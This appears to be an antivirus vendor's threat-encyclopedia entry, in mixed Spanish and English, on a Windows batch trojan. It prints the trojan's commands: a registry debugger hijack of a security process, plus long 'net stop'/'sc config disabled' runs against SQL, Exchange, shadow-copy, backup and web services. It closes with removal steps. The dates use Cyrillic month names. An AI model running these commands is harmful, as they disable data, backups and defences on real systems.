Author: Francesca Villasanta   
 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
    No

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 8,032 bytes
File type: BAT
Memory resident: No
INITIAL SAMPLES RECEIVED DATE: 27 de февраля de 2023
PAYLOAD: Modifies system registry

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • REG  ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wrsa.exe" /v Debugger /t REG_SZ /d "%Windows%\uddi.exe"
  • net stop MSSQLSERVER /y
  • sc config MSSQLSERVER start= disabled
  • net stop "SQL Server (MSSQLSERVER)" /y
  • sc config "SQL Server (MSSQLSERVER)" start= disabled
  • net stop MSSQL$ /y
  • sc config MSSQL$ start= disabled
  • net stop SQLSERVERAGENT /y
  • sc config SQLSERVERAGENT start= disabled
  • net stop SQLBrowser /y
  • sc config SQLBrowser start= disabled
  • net stop vss /y
  • sc config vss start= disabled
  • net stop SQLWriter /y
  • sc config SQLWriter start= disabled
  • net stop vmvss /y
  • sc config vmvss start= disabled
  • net stop MSSQL$FE_EXPRESS /y
  • sc config MSSQL$FE_EXPRESS start= disabled
  • net stop MSSQL$RE_EXPRESS /y
  • sc config MSSQL$RE_EXPRESS start= disabled
  • net stop SQLANYs_Sage_FAS_Fixed_Assets /y
  • sc config SQLANYs_Sage_FAS_Fixed_Assets start= disabled
  • net stop MSSQL$VIM_SQLEXP /y
  • sc config MSSQL$VIM_SQLEXP start= disabled
  • net stop "MSSQLFDLauncher" /y
  • net stop "MSSQLSERVER" /y
  • net stop "SQLSERVERAGENT" /y
  • net stop "SQLBrowser" /y
  • net stop "SQLTELEMETRY" /y
  • net stop "MsDtsServer130" /y
  • net stop "SSISTELEMETRY130" /y
  • net stop "SQLWriter" /y
  • net stop "MSSQL$VEEAMSQL2012" /y
  • net stop "SQLAgent$VEEAMSQL2012" /y
  • net stop "MSSQL" /y
  • net stop "SQLAgent" /y
  • net stop "MSSQLServerADHelper100" /y
  • net stop "MSSQLServerOLAPService" /y
  • net stop "MsDtsServer100" /y
  • net stop "ReportServer" /y
  • net stop "SQLTELEMETRY$HL" /y
  • net stop "TMBMServer" /y
  • net stop "MSSQL$PROGID" /y
  • net stop "MSSQL$WOLTERSKLUWER" /y
  • net stop "SQLAgent$PROGID" /y
  • net stop "SQLAgent$WOLTERSKLUWER" /y
  • net stop "MSSQLFDLauncher$OPTIMA" /y
  • net stop "MSSQL$OPTIMA" /y
  • net stop "SQLAgent$OPTIMA" /y
  • net stop "ReportServer$OPTIMA" /y
  • net stop "msftesql$SQLEXPRESS" /y
  • net stop "postgresql-x64-9.4" /y
  • sc config "MSSQLFDLauncher" start= disabled
  • sc config "MSSQLSERVER" start= disabled
  • sc config "SQLSERVERAGENT" start= disabled
  • sc config "SQLBrowser" start= disabled
  • sc config "SQLTELEMETRY" start= disabled
  • sc config "MsDtsServer130" start= disabled
  • sc config "SSISTELEMETRY130" start= disabled
  • sc config "SQLWriter" start= disabled
  • sc config "MSSQL$VEEAMSQL2012" start= disabled
  • sc config "SQLAgent$VEEAMSQL2012" start= disabled
  • sc config "MSSQL" start= disabled
  • sc config "SQLAgent" start= disabled
  • sc config "MSSQLServerADHelper100" start= disabled
  • sc config "MSSQLServerOLAPService" start= disabled
  • sc config "MsDtsServer100" start= disabled
  • sc config "ReportServer" start= disabled
  • sc config "SQLTELEMETRY$HL" start= disabled
  • sc config "TMBMServer" start= disabled
  • sc config "MSSQL$PROGID" start= disabled
  • sc config "MSSQL$WOLTERSKLUWER" start= disabled
  • sc config "SQLAgent$PROGID" start= disabled
  • sc config "SQLAgent$WOLTERSKLUWER" start= disabled
  • sc config "MSSQLFDLauncher$OPTIMA" start= disabled
  • sc config "MSSQL$OPTIMA" start= disabled
  • sc config "SQLAgent$OPTIMA" start= disabled
  • sc config "ReportServer$OPTIMA" start= disabled
  • sc config "msftesql$SQLEXPRESS" start= disabled
  • sc config "postgresql-x64-9.4" start= disabled
  • net stop MSDTC /y
  • sc config MSDTC start= disabled
  • net stop vmicvss /y
  • sc config vmicvss start= disabled
  • net stop HostControllerService /y
  • sc config HostControllerService start= disabled
  • net stop MSComplianceAudit /y
  • sc config MSComplianceAudit start= disabled
  • net stop MSExchangeADTopology /y
  • sc config MSExchangeADTopology start= disabled
  • net stop MSExchangeAntispamUpdate /y
  • sc config MSExchangeAntispamUpdate start= disabled
  • net stop MSExchangeCompliance /y
  • sc config MSExchangeCompliance start= disabled
  • net stop MSExchangeDagMgmt /y
  • sc config MSExchangeDagMgmt start= disabled
  • net stop MSExchangeDelivery /y
  • sc config MSExchangeDelivery start= disabled
  • net stop MSExchangeDiagnostics /y
  • sc config MSExchangeDiagnostics start= disabled
  • net stop MSExchangeEdgeSync /y
  • sc config MSExchangeEdgeSync start= disabled
  • net stop MSExchangeFastSearch /y
  • sc config MSExchangeFastSearch start= disabled
  • net stop MSExchangeFrontEndTransport /y
  • sc config MSExchangeFrontEndTransport start= disabled
  • net stop MSExchangeHM /y
  • sc config MSExchangeHM start= disabled
  • net stop MSExchangeHMRecovery /y
  • sc config MSExchangeHMRecovery start= disabled
  • net stop MSExchangeImap4 /y
  • sc config MSExchangeImap4 start= disabled
  • net stop MSExchangeIMAP4BE /y
  • sc config MSExchangeIMAP4BE start= disabled
  • net stop MSExchangeIS /y
  • sc config MSExchangeIS start= disabled
  • net stop MSExchangeMailboxAssistants /y
  • sc config MSExchangeMailboxAssistants start= disabled
  • net stop MSExchangeMailboxReplication /y
  • sc config MSExchangeMailboxReplication start= disabled
  • net stop MSExchangeNotificationsBroker /y
  • sc config MSExchangeNotificationsBroker start= disabled
  • net stop MSExchangePop3 /y
  • sc config MSExchangePop3 start= disabled
  • net stop MSExchangePOP3BE /y
  • sc config MSExchangePOP3BE start= disabled
  • net stop MSExchangeRepl /y
  • sc config MSExchangeRepl start= disabled
  • net stop MSExchangeRPC /y
  • sc config MSExchangeRPC start= disabled
  • net stop MSExchangeServiceHost /y
  • sc config MSExchangeServiceHost start= disabled
  • net stop MSExchangeSubmission /y
  • sc config MSExchangeSubmission start= disabled
  • net stop MSExchangeThrottling /y
  • sc config MSExchangeThrottling start= disabled
  • net stop MSExchangeTransport /y
  • sc config MSExchangeTransport start= disabled
  • net stop MSExchangeTransportLogSearch /y
  • sc config MSExchangeTransportLogSearch start= disabled
  • net stop MSExchangeUM /y
  • sc config MSExchangeUM start= disabled
  • net stop MSExchangeUMCR /y
  • sc config MSExchangeUMCR start= disabled
  • net stop SearchExchangeTracing /y
  • sc config SearchExchangeTracing start= disabled
  • net stop wsbexchange /y
  • sc config wsbexchange start= disabled
  • net stop IISADMIN /y
  • sc config IISADMIN start= disabled
  • net stop Tomcat8_CLOUDERP /y
  • sc config Tomcat8_CLOUDERP start= disabled
  • net stop Tomcat8_DESARROLLO221 /y
  • sc config Tomcat8_DESARROLLO221 start= disabled
  • net stop TeamViewer /y
  • sc config TeamViewer start= disabled
  • net stop Ras Database Service /y
  • sc config Ras Database Service start= disabled
  • net stop Apache4TurboCRM70 /y
  • sc config Apache4TurboCRM70 start= disabled
  • net stop Apache4U8AppServer /y
  • sc config Apache4U8AppServer start= disabled
  • net stop U8DispatchService /y
  • sc config U8DispatchService start= disabled
  • net stop U8EISService /y
  • sc config U8EISService start= disabled
  • net stop U8KeyManagePool /y
  • sc config U8KeyManagePool start= disabled
  • net stop U8MPool /y
  • sc config U8MPool start= disabled
  • net stop U8SCMPool /y
  • sc config U8SCMPool start= disabled
  • net stop U8SLReportService /y
  • sc config U8SLReportService start= disabled
  • net stop U8TaskService /y
  • sc config U8TaskService start= disabled
  • net stop U8WebPool /y
  • sc config U8WebPool start= disabled
  • net stop U8WorkerService1 /y
  • sc config U8WorkerService1 start= disabled
  • net stop U8WorkerService2 /y
  • sc config U8WorkerService2 start= disabled
  • net stop UFAllNet /y
  • sc config UFAllNet start= disabled
  • net stop UFNet /y
  • sc config UFNet start= disabled
  • net stop TurboCRM70 /y
  • sc config TurboCRM70 start= disabled
  • net stop OBScheduler /y
  • sc config OBScheduler start= disabled
  • net stop OSP Service /y
  • sc config OSP Service start= disabled
  • net stop OSPLinkProxy /y
  • sc config OSPLinkProxy start= disabled
  • net stop OBCDPService /y
  • sc config OBCDPService start= disabled
  • net stop OBAutoUpdate /y
  • sc config OBAutoUpdate start= disabled
  • net stop memcached Server /y
  • sc config memcached Server start= disabled
  • net stop UFReportService /y
  • sc config UFReportService start= disabled
  • net stop UTUService /y
  • sc config UTUService start= disabled
  • net stop W3SVC /y
  • sc config W3SVC start= disabled
  • net stop WinHttpAutoProxySvc /y
  • sc config WinHttpAutoProxySvc start= disabled
  • net stop RasBasicManage /y
  • sc config RasBasicManage start= disabled
  • net stop RasU8License /y
  • sc config RasU8License start= disabled
  • net stop RasWebService /y
  • sc config RasWebService start= disabled

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

)

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Image File Execution Options\
wrsa.exe
Debugger = %Windows%\uddi.exe

Finalización del proceso

Finaliza los servicios siguientes si los detecta en el sistema afectado:

  • Apache4U8AppServer
  • HostControllerService
  • IISADMIN
  • memcached Server
  • MSComplianceAudit
  • MSDTC
  • MsDtsServer100
  • MsDtsServer100
  • MsDtsServer130
  • MSExchangeADTopology
  • MSExchangeAntispamUpdate
  • MSExchangeCompliance
  • MSExchangeDagMgmt
  • MSExchangeDelivery
  • MSExchangeDiagnostics
  • MSExchangeEdgeSync
  • MSExchangeFastSearch
  • MSExchangeFrontEndTransport
  • MSExchangeHM
  • MSExchangeHMRecovery
  • MSExchangeImap4
  • MSExchangeIMAP4BE
  • MSExchangeIS
  • MSExchangeMailboxAssistants
  • MSExchangeMailboxReplication
  • MSExchangeNotificationsBroker
  • MSExchangePop3
  • MSExchangePOP3BE
  • MSExchangeRepl
  • MSExchangeRPC
  • MSExchangeServiceHost
  • MSExchangeSubmission
  • MSExchangeThrottling
  • MSExchangeTransport
  • MSExchangeTransportLogSearch
  • MSExchangeUM
  • MSExchangeUMCR
  • msftesql$SQLEXPRESS
  • MSSQL
  • MSSQL$
  • MSSQL$FE_EXPRESS
  • MSSQL$OPTIMA
  • MSSQL$PROGID
  • MSSQL$RE_EXPRESS
  • MSSQL$VEEAMSQL2012
  • MSSQL$VIM_SQLEXP
  • MSSQL$WOLTERSKLUWER
  • MSSQLFDLauncher
  • MSSQLFDLauncher$OPTIMA
  • MSSQLSERVER
  • MSSQLServerADHelper100
  • MSSQLServerOLAPService
  • OBAutoUpdate
  • OBCDPService
  • OBScheduler
  • OSP Service
  • OSPLinkProxy
  • postgresql-x64-9.4
  • Ras Database Service
  • RasBasicManage
  • RasU8License
  • RasWebService
  • ReportServer
  • ReportServer$OPTIMA
  • SearchExchangeTracing
  • SQL Server (MSSQLSERVER)
  • SQLAgent
  • SQLAgent$OPTIMA
  • SQLAgent$PROGID
  • SQLAgent$VEEAMSQL2012
  • SQLAgent$WOLTERSKLUWER
  • SQLANYs_Sage_FAS_Fixed_Assets
  • SQLBrowser
  • SQLSERVERAGENT
  • SQLTELEMETRY
  • SQLTELEMETRY$HL
  • SQLWriter
  • SSISTELEMETRY130
  • TeamViewer
  • TMBMServer
  • Tomcat8_CLOUDERP
  • Tomcat8_DESARROLLO221
  • TurboCRM70
  • U8DispatchService
  • U8EISService
  • U8KeyManagePool
  • U8MPool
  • U8SCMPool
  • U8SLReportService
  • U8TaskService
  • U8WebPool
  • U8WorkerService1
  • U8WorkerService2
  • UFAllNet
  • UFNet
  • UFReportService
  • UTUService
  • vmicvss
  • vmvss
  • vss
  • W3SVC
  • WinHttpAutoProxySvc
  • wsbexchange

Otros detalles

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Image File Execution Options\
wrsa.exe

Hace lo siguiente:

  • It sets the start type to "disabled" for the following services if found on the affected system:
    • Apache4U8AppServer
    • HostControllerService
    • IISADMIN
    • memcached Server
    • MSComplianceAudit
    • MSDTC
    • MsDtsServer100
    • MsDtsServer100
    • MsDtsServer130
    • MSExchangeADTopology
    • MSExchangeAntispamUpdate
    • MSExchangeCompliance
    • MSExchangeDagMgmt
    • MSExchangeDelivery
    • MSExchangeDiagnostics
    • MSExchangeEdgeSync
    • MSExchangeFastSearch
    • MSExchangeFrontEndTransport
    • MSExchangeHM
    • MSExchangeHMRecovery
    • MSExchangeImap4
    • MSExchangeIMAP4BE
    • MSExchangeIS
    • MSExchangeMailboxAssistants
    • MSExchangeMailboxReplication
    • MSExchangeNotificationsBroker
    • MSExchangePop3
    • MSExchangePOP3BE
    • MSExchangeRepl
    • MSExchangeRPC
    • MSExchangeServiceHost
    • MSExchangeSubmission
    • MSExchangeThrottling
    • MSExchangeTransport
    • MSExchangeTransportLogSearch
    • MSExchangeUM
    • MSExchangeUMCR
    • msftesql$SQLEXPRESS
    • MSSQL
    • MSSQL$
    • MSSQL$FE_EXPRESS
    • MSSQL$OPTIMA
    • MSSQL$PROGID
    • MSSQL$RE_EXPRESS
    • MSSQL$VEEAMSQL2012
    • MSSQL$VIM_SQLEXP
    • MSSQL$WOLTERSKLUWER
    • MSSQLFDLauncher
    • MSSQLFDLauncher$OPTIMA
    • MSSQLSERVER
    • MSSQLServerADHelper100
    • MSSQLServerOLAPService
    • OBAutoUpdate
    • OBCDPService
    • OBScheduler
    • OSP Service
    • OSPLinkProxy
    • postgresql-x64-9.4
    • Ras Database Service
    • RasBasicManage
    • RasU8License
    • RasWebService
    • ReportServer
    • ReportServer$OPTIMA
    • SearchExchangeTracing
    • SQL Server (MSSQLSERVER)
    • SQLAgent
    • SQLAgent$OPTIMA
    • SQLAgent$PROGID
    • SQLAgent$VEEAMSQL2012
    • SQLAgent$WOLTERSKLUWER
    • SQLANYs_Sage_FAS_Fixed_Assets
    • SQLBrowser
    • SQLSERVERAGENT
    • SQLTELEMETRY
    • SQLTELEMETRY$HL
    • SQLWriter
    • SSISTELEMETRY130
    • TeamViewer
    • TMBMServer
    • Tomcat8_CLOUDERP
    • Tomcat8_DESARROLLO221
    • TurboCRM70
    • U8DispatchService
    • U8EISService
    • U8KeyManagePool
    • U8MPool
    • U8SCMPool
    • U8SLReportService
    • U8TaskService
    • U8WebPool
    • U8WorkerService1
    • U8WorkerService2
    • UFAllNet
    • UFNet
    • UFReportService
    • UTUService
    • vmicvss
    • vmvss
    • vss
    • W3SVC
    • WinHttpAutoProxySvc
    • wsbexchange

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 18.284.02
First VSAPI Pattern Release Date: 28 de февраля de 2023
VSAPI OPR PATTERN-VERSION: 18.285.00
VSAPI OPR PATTERN DATE: 01 de марта de 2023

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Eliminar esta clave del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

 
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wrsa.exe

Step 4

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.BAT.PROCKILL.AD En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


Did this description help? Tell us how we did.